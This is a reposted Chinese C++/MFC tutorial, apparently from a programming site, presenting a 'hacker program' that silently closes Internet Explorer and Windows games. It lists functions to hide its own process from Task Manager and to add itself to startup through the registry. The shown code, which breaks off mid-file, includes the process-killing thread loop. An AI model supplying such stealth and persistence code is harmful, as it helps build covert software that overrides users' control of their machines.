一个黑客程序开发实例 -- IE终结者

2016-01-29 12:11 13 1 收藏

一个黑客程序开发实例 -- IE终结者,一个黑客程序开发实例 -- IE终结者

【 tulaoshi.com - C语言心得技巧 】

一个黑客程序开发实例 -- IE终结者
作者:f286

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com)

下载本文示例源代码

注:这个程序有一定的破坏性,请不要用于非法的目的!
代码运行效果图如下:


小弟最近看了VC知识库在线杂志第十二期中,有一篇《黑客攻击手段之偷梁换柱》突发灵感也想写一个黑客程序。经过了几天的搜集资料和试验终于写出了一个可以自动关闭IE和windows中自带游戏的小程序和大家分享,希望大家多提意见!

我在程序中采用了两种方法:

一种是采用了FindWindow(LPCTSTRlpszClassName,LPCTSTR lpszWindowName )这个函数来捕捉窗口的名称,但这种方法对于一些窗口标题变化的程序的效果就不好了。
另一种是CreateToolhelp32Snapshot( DWORD dwFlags, DWORD th32ProcessID)这个函数是对现有工作进程进行一次快照,这样根据进程的名称就可以很方便的找到它,但是它使用比第一种方法复杂,而且还要在头文件中加入#include <tlhelp32.h>这个库!下面我们来看一下程序的主要的函数。

程序一共有这么几个部分:
热键处理函数:OnHotKey(WPARAM wParam,LPARAM lParam)
隐藏程序自己的进程(在windows的任务管理器中):HidePorcess(void)
创建一个线程用于完成核心内容:CreateMyThread(void)
在程序结束时用于关闭线程:CloseMyThread(void)
列出当前系统中所有进程(如果找到要找的进程关闭它):FindMyProcess(CString m_strprocessname)
更改注册表使程序和系统一起启动运行:RegMySys(void)

具体函数内容如下:
头文件:IECloesDlg.h

// IECloesDlg.h : 头文件//#pragma once#include "statlink.h"// CIECloesDlg 对话框class CIECloesDlg : public CDialog{// 构造public:CIECloesDlg(CWnd* pParent = NULL); // 标准构造函数// 对话框数据enum { IDD = IDD_IECLOES_DIALOG };protected:virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持// 实现protected:HICON m_hIcon;// 生成的消息映射函数virtual BOOL OnInitDialog();afx_msg void OnPaint();afx_msg HCURSOR OnQueryDragIcon();afx_msg LRESULT OnHotKey(WPARAM wParam,LPARAM lParam);DECLARE_MESSAGE_MAP()public:afx_msg void OnBnClickedClose();afx_msg void OnWindowPosChanging(WINDOWPOS* lpwndpos);afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);afx_msg void OnDestroy();afx_msg void OnBnClickedHide();// 开始运行时候隐藏对话框的变量bool m_bHide;// 是否关闭IEbool m_bIEClose;// 是否关闭window自带游戏bool m_bPlayclose;afx_msg void OnBnClickedCloseie();afx_msg void OnBnClickedCloseplay();//超链接的控件变量CStaticLink m_myemail;// 启动一个线程bool CreateMyThread(void);// 线程句柄HANDLE m_handle;//要找到窗口的句柄// IE的句柄HWND m_hie;// 扫雷游戏的句柄HWND m_hsaolei;//空当接龙游戏的句柄HWND m_hkongdangjielong;//蜘蛛纸牌游戏的句柄HWND m_hzhizhu;// 关闭线程void CloseMyThread(void);// 列出进程void FindMyProcess(CString m_strprocessname);// 更改注册表使程序和系统一起启动运行void RegMySys(void);// 在任务管理器中隐藏程序进程(这样才像个黑客)void HidePorcess(void);// 程序在硬盘中的路径CString m_strfilepath;};
实现文件:IECloesDlg.cpp
// IECloesDlg.cpp : 实现文件//#include "stdafx.h"#include "IECloes.h"#include "IECloesDlg.h"#include <tlhelp32.h>//CreateToolhelp32Snapshot这个函数需要加载的头文件#ifdef _DEBUG#define new DEBUG_NEW#endif//线程函数UINT ThreadFunc(LPVOID lParam){CIECloesDlg *pdlg=(CIECloesDlg*)lParam;while (1){if (pdlg->m_bPlayclose) {pdlg->m_hkongdangjielong=FindWindow(NULL,"空当接龙");pdlg->m_hsaolei=FindWindow(NULL,"扫雷");pdlg->m_hzhizhu=FindWindow(NULL,"蜘蛛");if (pdlg->m_hkongdangjielong){Sleep(1000);SendMessage(pdlg->m_hkongdangjielong,WM_DESTROY,0,0);}if (pdlg->m_hsaolei){Sleep(1000);SendMessage(pdlg->m_hsaolei,WM_DESTROY,0,0);}if (pdlg->m_hzhizhu) {Sleep(3000);SendMessage(pdlg->m_hzhizhu,WM_DESTROY,0,0);}}if (pdlg->m_bIEClose) {pdlg->FindMyProcess("IEXPLORE.EXE");}}return 0;}// CIECloesDl
                        

来源:https://www.tulaoshi.com/n/20160129/1484976.html

延伸阅读
学会七招做痘痘肌终结者 痘痘肌人群的肤质其实是比较复杂的,大多是油性肌、也有混合肌和过敏肌,容易出油、缺水、很多化妆品不能用,饮食上也有很多需要注意的。在护肤方面自然也有别于其他肤质的妹子了。今天就给痘痘肌妹子带福利,看看该怎么保养,在日常中渐渐远离痘痘肌! 痘痘位置反映身体情况 痘痘冒不停除了跟肤...
三态选择树实现终结者 作者:南京银山网络有限公司 王佳豪 下载本文示例源代码 示例代码运行效果图如下: 在很多情况下,我们经常需要实现树的多态选择,如上图所示,当全部子节点选中的情况下,当前节点才被选中(如图示[荆门市]节点),当子节点部分选中时,当前节点处...
终结者2审判日怎么卡毒 在本作中,每隔特定时间,游戏会逐渐进行区域限制不断缩小游戏地图,在限定区域外的玩家将会不断损失HP,因此限定区域外又被玩家称为毒圈。而一种依托毒圈的战术就此诞生,就是俗称的卡毒。 随着限定区域到来的时间!在这期间内蓝圈会不断向白圈围拢。那么为什么要卡毒呢?又是在何时开始卡毒呢? 最危险的...
《终结者4救世主》最新片花 《终结者4救世主》最新短片视频 (出处:) 《终结者4救世主》安装全方法 游戏安装失败的玩家请按以下方式进行游戏释放 因为DATA1.CAB在游戏的盘中不存在导致安装程序无法进行 唯一的办法是手动释放文件,接下来发布一下解决办法,希望各位尝试后能给我回复一下成功与否 首先用虚拟光驱加载游戏镜像,用那...
《终结者4救世主》最新短片视频 (出处:) 《终结者4救世主》最新短片视频 (出处:) 《终结者4救世主》安装全方法 游戏安装失败的玩家请按以下方式进行游戏释放 因为DATA1.CAB在游戏的盘中不存在导致安装程序无法进行 唯一的办法是手动释放文件,接下来发布一下解决办法,希望各位尝试后能给我回复一下成功与否 首先用虚拟光驱加...

经验教程

249

收藏

29
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部